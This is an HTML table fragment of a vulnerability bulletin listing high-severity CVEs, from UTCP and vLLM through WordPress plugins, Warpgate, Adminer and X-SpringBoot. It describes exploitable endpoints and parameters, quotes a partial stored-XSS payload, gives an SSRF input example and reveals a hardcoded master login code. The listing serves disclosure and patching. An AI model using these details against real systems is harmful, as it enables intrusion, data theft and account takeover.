&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101060&quot; target=&quot;_blank&quot;&gt;CVE-2026-101060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;universal-tool-calling-protocol--python-utcp&lt;/td&gt;
&lt;td&gt;utcp-http before 1.1.4 fails to validate the OAuth2 tokenUrl field from remote OpenAPI specifications, allowing attackers to redirect credential submission to arbitrary endpoints. When a victim registers an attacker-controlled OpenAPI spec and invokes a generated OAuth2-protected tool, the library POSTs the victim&#039;s client_id and client_secret to the attacker-supplied token endpoint without URL validation.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101059&quot; target=&quot;_blank&quot;&gt;CVE-2026-101059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;usekaneo--kaneo&lt;/td&gt;
&lt;td&gt;Kaneo versions 2.3.12 before 2.12.2 contain a missing authorization vulnerability that allows authenticated workspace members with viewer or member roles to delete and modify tasks beyond their assigned permissions by exploiting the bulk task endpoint that omits workspace permission checks. Attackers can send requests to the PATCH /api/task/bulk endpoint, which verifies only workspace membership without calling the role-based permission check enforced on all other task endpoints, to permanently delete all tasks or modify task status, priority, assignee, due date, and labels in a workspace.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63104&quot; target=&quot;_blank&quot;&gt;CVE-2026-63104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;uvdesk--core-framework&lt;/td&gt;
&lt;td&gt;UVdesk core-framework before 1.1.7 contains an improper privilege management vulnerability in the editAgent endpoint that allows agents with agent-management privilege to escalate their own role to administrator. Attackers can submit their own account identifier with a role parameter set to ROLE_ADMIN to gain full administrative control over agents, tickets, and mail configuration.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71421&quot; target=&quot;_blank&quot;&gt;CVE-2025-71421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vcita--Online Booking &amp;amp; Scheduling Calendar for WordPress by vcita&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Online Booking &amp;amp; Scheduling Calendar for WordPress by vcita &amp;lt;= 4.6.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95513&quot; target=&quot;_blank&quot;&gt;CVE-2026-95513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;verbb--formie&lt;/td&gt;
&lt;td&gt;Formie is a Craft CMS plugin for creating forms. Prior to 2.2.23 and 3.1.31, Formie&#039;s formie/integrations/form-settings control panel action in IntegrationsController::actionFormSettings is reachable without the required form integration permissions and passes request-supplied settings to a configured integration. An authenticated attacker can replace outbound host properties such as apiUrl while the server uses stored API keys or OAuth tokens, causing non-blind server-side requests to an attacker-controlled or internal host and returning the remote response. This residual flaw remained because the permission gate added in version 3.1.28 excluded the form-settings action. Sites that permit low-privileged or front-end user authentication can therefore expose integration credentials and internal network responses. This issue is fixed in versions 2.2.23 and 3.1.31.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76086&quot; target=&quot;_blank&quot;&gt;CVE-2026-76086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;verbb--formie&lt;/td&gt;
&lt;td&gt;Formie is a Craft CMS plugin for creating forms. Prior to 2.2.23 and 3.1.31, Formie&#039;s anonymous formie/submissions/submit action in SubmissionsController::actionSubmit trusts a client-supplied submissionId when loading an incomplete submission without session binding, ownership validation, or a valid submissionEditToken. An unauthenticated attacker can enumerate sequential IDs and overwrite or hijack another user&#039;s in-progress multi-page or save-for-later submission, and the modified data can be persisted and forwarded through notifications or integrations when the submission is completed. This is an incomplete remediation of CVE-2026-47266 because that earlier change validated edit tokens for save-submission but did not protect submit. Completed submissions are excluded by the isIncomplete filter. This issue is fixed in versions 2.2.23 and 3.1.31.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76087&quot; target=&quot;_blank&quot;&gt;CVE-2026-76087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;verbb--formie&lt;/td&gt;
&lt;td&gt;Formie is a Craft CMS plugin for creating forms. Prior to 2.2.23 and 3.1.31, Formie&#039;s formie/sent-notifications/get-resend-modal-content control panel action in SentNotificationsController::actionGetResendModalContent accepts a request-supplied notification ID without permission or object-level authorization checks. Any authenticated user able to invoke the action can enumerate notification IDs and read recipient headers and complete HTML email bodies containing submitted form data, even without the sent-notification viewing permission. This issue is fixed in versions 2.2.23 and 3.1.31.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76089&quot; target=&quot;_blank&quot;&gt;CVE-2026-76089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Victor Rodriguez--Reycob Product Import Export&lt;/td&gt;
&lt;td&gt;Shop manager PHP Object Injection in Reycob Product Import Export &amp;lt;= 2.3.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95603&quot; target=&quot;_blank&quot;&gt;CVE-2026-95603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;visualcomposer--Visual Composer Website Builder&lt;/td&gt;
&lt;td&gt;The Visual Composer Website Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 45.16.0 via the `vcv-template` parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other &quot;safe&quot; file types can be uploaded and included.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12227&quot; target=&quot;_blank&quot;&gt;CVE-2026-12227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM versions through 0.29.0 contain a denial of service vulnerability in the NIXL connector&#039;s metadata handling for prefill/decode disaggregated deployments. Attackers can send requests with incomplete kv_transfer_params dictionary entries to trigger an uncaught KeyError in EngineCore scheduling, causing the decode engine to terminate and making all routed requests fail until manual restart.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94622&quot; target=&quot;_blank&quot;&gt;CVE-2026-94622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM through 0.29.0 contains a denial of service vulnerability in the NIXL connector&#039;s prefix caching implementation that fails to properly validate block counts across multi-prompt completion requests in prefill/decode disaggregated deployments. Attackers can trigger an assertion failure in NixlBaseConnectorWorker._apply_prefix_caching by submitting completion requests with multiple prompts of varying lengths, causing the decode worker to terminate and become unavailable until restarted.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94623&quot; target=&quot;_blank&quot;&gt;CVE-2026-94623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM through 0.29.0 contains a denial of service vulnerability in P2P KV offloading when OffloadingConnector is configured with TieringOffloadingSpec and a peer-to-peer secondary tier. Attackers can supply arbitrary remote host and port values in kv_transfer_params to create unreachable peer sessions that retain ZeroMQ sockets until the context quota is exhausted, causing an uncaught ZMQError that crashes EngineCore and stops all inference.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94624&quot; target=&quot;_blank&quot;&gt;CVE-2026-94624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM through 0.29.0 fails to validate the tp_size parameter in kv_transfer_params on OpenAI-compatible completion endpoints, allowing attackers to allocate unbounded memory. Attackers can supply arbitrary tp_size values in prefill/decode disaggregated deployments to exhaust memory and trigger kernel OOM-kill of the decode worker process.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94626&quot; target=&quot;_blank&quot;&gt;CVE-2026-94626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM Mooncake connector through 0.29.0 fails to properly manage GPU KV cache block ownership when concurrent child requests share a single transfer ID in prefill/decode disaggregated deployments. Attackers can trigger GPU memory exhaustion by submitting completion requests with multiple prompts, causing orphaned KV cache blocks to accumulate until process restart and eventually preventing legitimate requests from executing.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94627&quot; target=&quot;_blank&quot;&gt;CVE-2026-94627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;volotat--Anagnorisis&lt;/td&gt;
&lt;td&gt;A vulnerability was found in volotat Anagnorisis up to 0.3.1/0.4.0. Affected is an unknown function of the file app.py of the component Socket.IO Connect Interface. The manipulation results in missing authentication. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97231&quot; target=&quot;_blank&quot;&gt;CVE-2026-97231&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vrana--adminer&lt;/td&gt;
&lt;td&gt;Adminer 6.0.0 through 6.0.1, when the official ClickHouse driver plugin (plugins/drivers/clickhouse.php, rewritten in 6.0.0) is loaded, is vulnerable to pre-authentication server-side request forgery. An unauthenticated attacker can submit auth[driver]=clickhouse with auth[server] set to an arbitrary URL (for example http://127.0.0.1:18089), causing the Adminer server to issue an HTTP POST containing &#039;SELECT version()&#039; to that host. In rootQuery(), if the target returns a status outside 200-299 (other than 401/403), the raw HTTP response body is assigned to the connection error and rendered on the login page, so the attacker receives the full response body of the internal service. This enables internal network/port reconnaissance and disclosure of sensitive information contained in internal error pages (stack traces, internal hostnames, file paths, configuration identifiers). Fixed in Adminer 6.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100697&quot; target=&quot;_blank&quot;&gt;CVE-2026-100697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;warp-tech--warpgate&lt;/td&gt;
&lt;td&gt;Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.5, the /@warpgate/api/sso/providers/:name/start endpoint stores an attacker-controlled next parameter that the POST /@warpgate/api/sso/return handler inserts without HTML escaping into the response generated by warpgate-protocol-http/src/api/sso_provider_list.rs. A victim who follows a crafted link and completes SSO can cause markup and JavaScript to execute in the authenticated Warpgate origin, allowing access to session data and actions through user APIs, and through administrator APIs only when the victim is an administrator. The GET /@warpgate/api/sso/return path also uses the same unvalidated value as a redirect destination, enabling an open redirect. This issue is fixed in version 0.25.5.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58491&quot; target=&quot;_blank&quot;&gt;CVE-2026-58491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;warp-tech--warpgate&lt;/td&gt;
&lt;td&gt;Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.6, api_get_recording_stream in warpgate-admin/src/api/recordings_detail.rs protects /@warpgate/admin/api/recordings/{uuid}/stream only with session authentication and omits require_admin_permission for AdminPermission::RecordingsView. Any authenticated regular user who identifies an active recording can subscribe to its WebSocket and receive real-time terminal input and output from proxied SSH, MySQL, or PostgreSQL sessions, including credentials, commands, and other sensitive data belonging to users and administrators. This issue is fixed in version 0.25.6.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63330&quot; target=&quot;_blank&quot;&gt;CVE-2026-63330&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wazuh--wazuh&lt;/td&gt;
&lt;td&gt;Wazuh is an open-source security platform providing unified XDR and SIEM protection for endpoints and cloud workloads. From 3.9.0 until 4.14.7, wazuh-clusterd in framework/wazuh/core/cluster/common.py allocates a payload buffer using the size declared in a 20-byte cluster protocol header before Fernet decryption validates the peer. An unauthenticated network peer can declare a payload of up to 256 MiB, stop sending after the header, and retain that allocation until the TCP connection closes. The cluster listener has no application-level per-source connection budget in affected versions, allowing concurrent sockets to multiply memory consumption and potentially terminate the cluster process, disrupt synchronization, and interrupt distributed API forwarding. This issue is fixed in version 4.14.7.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71540&quot; target=&quot;_blank&quot;&gt;CVE-2026-71540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WBW Plugins--Product Filter by WBW&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL Injection in Product Filter by WBW &amp;lt;= 3.1.7 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95601&quot; target=&quot;_blank&quot;&gt;CVE-2026-95601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;web-infra-dev--rsdoctor&lt;/td&gt;
&lt;td&gt;Rsdoctor is a build analyzer tailored for projects built with Rspack. Prior to version 1.5.16, the default Rsdoctor report HTTP server started by `@rsdoctor/rspack-plugin` binds to all network interfaces (`0.0.0.0`) and serves a `POST /api/data/key` endpoint with no authentication and wildcard CORS (`Access-Control-Allow-Origin: *`). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (`moduleCodeMap`), serialized build configuration (`configs`), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer. Version 1.5.16 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61782&quot; target=&quot;_blank&quot;&gt;CVE-2026-61782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebFactory--Email Log&lt;/td&gt;
&lt;td&gt;Administrator SQL Injection in Email Log &amp;lt;= 2.63 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94174&quot; target=&quot;_blank&quot;&gt;CVE-2026-94174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wellav Technologies Co., Ltd--Wellav WES Emergency Broadcast Terminal&lt;/td&gt;
&lt;td&gt;An issue in Wellav Technologies Co., Ltd Wellav WES Emergency Broadcast Terminal WES100, WES270, WES280, and WES290 before 08-08-2023 allows a remote attacker to obtain sensitive information via the global API request wrapper function&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52622&quot; target=&quot;_blank&quot;&gt;CVE-2026-52622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpchill--Modula Image Gallery Photo Grid &amp;amp; Video Gallery&lt;/td&gt;
&lt;td&gt;The Modula Image Gallery - Photo Grid &amp;amp; Video Gallery plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the upload_image function in all versions up to, and including, 3.0.2. This makes it possible for authenticated attackers, with author-level access and above, to delete arbitrary files on the server. The path restriction to wp-content/uploads is not an effective ownership boundary, as all user attachment files reside within that tree, and Authors trivially satisfy the edit_post check on their own galleries.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92713&quot; target=&quot;_blank&quot;&gt;CVE-2026-92713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpchill--Modula Image Gallery Photo Grid &amp;amp; Video Gallery&lt;/td&gt;
&lt;td&gt;The Modula Image Gallery - Photo Grid &amp;amp; Video Gallery plugin for WordPress is vulnerable to unauthorized disclosure of private gallery contents in versions up to, and including, 3.0.1. This is due to the Modula_Meta::add_metas() function being hooked to wp_head on every frontend request and looking up any post via get_post( $_GET[&#039;modula_gallery_id&#039;] ) without verifying the gallery&#039;s post_status or the requester&#039;s capability to read it - the gallery-side input guard is bugged (empty(&#039;modula_gallery_id&#039;) tests a nonempty string literal instead of the GET parameter, so it is always false), the only object validation is a post_type === &#039;modula-gallery&#039; check, and no is_user_logged_in()/current_user_can(&#039;read_post&#039;, $gallery_id) check is performed. This makes it possible for unauthenticated attackers to enumerate private modula-gallery posts and their member attachments and recover the image&#039;s title, description, dimensions, and original upload URL via Open Graph/Twitter meta tags emitted in the response, which then allows direct unauthenticated download of the original private image bytes.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89406&quot; target=&quot;_blank&quot;&gt;CVE-2026-89406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpclever--WPC Product Bundles for WooCommerce&lt;/td&gt;
&lt;td&gt;The WPC Product Bundles for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;qty&#039; parameter in all versions up to, and including, 8.6.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The float cast used during quantity validation allows a numeric-prefixed payload such as &#039;1&amp;lt;img src=x onerror=...&amp;gt;&#039; to pass validation while retaining its malicious HTML, which is then stored verbatim in order item metadata under the &#039;_woosb_ids&#039; key.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93836&quot; target=&quot;_blank&quot;&gt;CVE-2026-93836&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wptb--WP Table Builder Drag &amp;amp; Drop Table Builder&lt;/td&gt;
&lt;td&gt;The WP Table Builder - Drag &amp;amp; Drop Table Builder plugin for WordPress is vulnerable to Incorrect Authorization in all versions up to, and including, 2.2.1. This is due to an operator precedence bug in the post-type guard within the trash_table_bulk() and restore_table_bulk() functions that causes the guard to never fire, combined with a permission callback that only verifies plugin role membership without per-post-type or ownership checks. This makes it possible for authenticated attackers, with subscriber-level access and above, to trash or restore any post, page, or custom post type on the site by supplying arbitrary post IDs.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6922&quot; target=&quot;_blank&quot;&gt;CVE-2026-6922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wptravelengine--WP Travel Engine Tour Booking Plugin Tour Operator Software&lt;/td&gt;
&lt;td&gt;The WP Travel Engine - Tour Booking Plugin - Tour Operator Software plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.8.0 via the wte_get_template function. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9231&quot; target=&quot;_blank&quot;&gt;CVE-2026-9231&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x.org--libX11&lt;/td&gt;
&lt;td&gt;A malicious X server could exploit a buffer overflow in libX11 before 1.8.14 during handling of XkbGetMap overflowing the key_sym_map.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88806&quot; target=&quot;_blank&quot;&gt;CVE-2026-88806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x.org--libXi&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in libXi&#039;s XI2 class parser in libXi before 1.8.4 could be used by malicious X servers to crash an attached X client.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93543&quot; target=&quot;_blank&quot;&gt;CVE-2026-93543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yhx070424--ShopXO&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in yhx070424 ShopXO up to 2.2.7. Affected by this vulnerability is an unknown functionality of the file config/ueditor.php of the component Ueditor Upload Interface. The manipulation of the argument path_type results in path traversal. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96898&quot; target=&quot;_blank&quot;&gt;CVE-2026-96898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yonyou--KSOA&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Yonyou KSOA 9.0. This affects an unknown part of the file /cardcase/search_list.jsp. Executing a manipulation of the argument address can lead to sql injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94491&quot; target=&quot;_blank&quot;&gt;CVE-2026-94491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yourownprogrammer--YOP Poll&lt;/td&gt;
&lt;td&gt;The YOP Poll plugin for WordPress is vulnerable to Origin Validation Error in all versions up to, and including, 7.0.10. This is due to the plugin transmitting a wp_rest nonce to window.opener via postMessage() with a wildcard targetOrigin. This makes it possible for unauthenticated attackers to steal a REST nonce scoped to a logged-in Administrator and use it to change the Administrator&#039;s email address and password, resulting in full account takeover. The Administrator must open an attacker-controlled page in order to exploit this vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85682&quot; target=&quot;_blank&quot;&gt;CVE-2026-85682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YunaiV--ruoyi-vue-pro&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.08. Affected is the function updateDemoOrderPaid of the file yudao-module-pay/src/main/java/cn/iocoder/yudao/module/pay/controller/admin/demo/PayDemoOrderController.java of the component Demo-order Payment Callback Handler. The manipulation of the argument ID leads to improper authorization. The attack can be initiated remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97324&quot; target=&quot;_blank&quot;&gt;CVE-2026-97324&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yzcheng90--X-SpringBoot&lt;/td&gt;
&lt;td&gt;X-SpringBoot through 6.0 returns login verification codes in HTTP responses from unauthenticated endpoints GET /sys/mobile/code and GET /sys/email/code without sending them to account owners. Attackers can request codes using known mobile numbers or email addresses, read them from responses, and authenticate as victims via POST /sys/emailOrMobileLogin/login to hijack accounts.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97063&quot; target=&quot;_blank&quot;&gt;CVE-2026-97063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yzcheng90--X-SpringBoot&lt;/td&gt;
&lt;td&gt;X-SpringBoot through 6.0 ships with a hardcoded static master login verification code 172839 enabled by default in the database seed. Unauthenticated attackers can authenticate as any user by submitting the public master code to the emailOrMobileLogin endpoint with a known email or mobile number.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
